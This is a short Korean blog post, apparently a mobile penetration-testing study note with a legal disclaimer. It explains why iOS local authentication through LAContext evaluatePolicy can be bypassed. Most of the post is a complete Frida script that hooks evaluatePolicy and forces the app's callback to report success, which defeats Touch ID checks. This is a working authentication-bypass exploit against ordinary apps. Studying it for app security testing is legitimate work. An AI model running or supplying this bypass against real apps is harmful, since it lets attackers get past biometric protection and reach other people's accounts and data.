주의사항 : 이 포스팅은 개인 학습 및 교육적 목적으로 작성되었으며, 제공하는 정보를 악용하여 불법적인 행위를 하는 것은 엄격히 금지되어 있습니다. 타인의 시스템에 대한 접근 권한을 얻기 위해 명시적인 동의를 받아야 하며, 이러한 기술을 사용하여 발생하는 모든 결과에 대한 책임은 사용자에게 있습니다.
: 디바이스 내부에 저장된 자격증명을 기준으로 사용자를 인증하는 것을 말한다.
로컬 인증 프레임워크를 사용하면 애플에서 제공하는 LAContext 클래스의 evaluatePolicy 인스턴스 메소드(함수)를 사용하게 된다.
evaluatePolicy 인스턴스 메소드(함수)는 성공 또는 실패를 나타내는 Boolean 값만 반환하기 때문에 쉽게 우회가 가능하다.
// TouchIDBypass1.js
if(ObjC.available) {
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
send("Hooking Touch Id..")
var block = new ObjC.Block(args[4]);
const appCallback = block.implementation;
block.implementation = function (error, value) {
const result = appCallback(1, null); // 1 : success, 0 : error
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
출처
https://hagsig.tistory.com/243
https://developer.apple.com/documentation/localauthentication/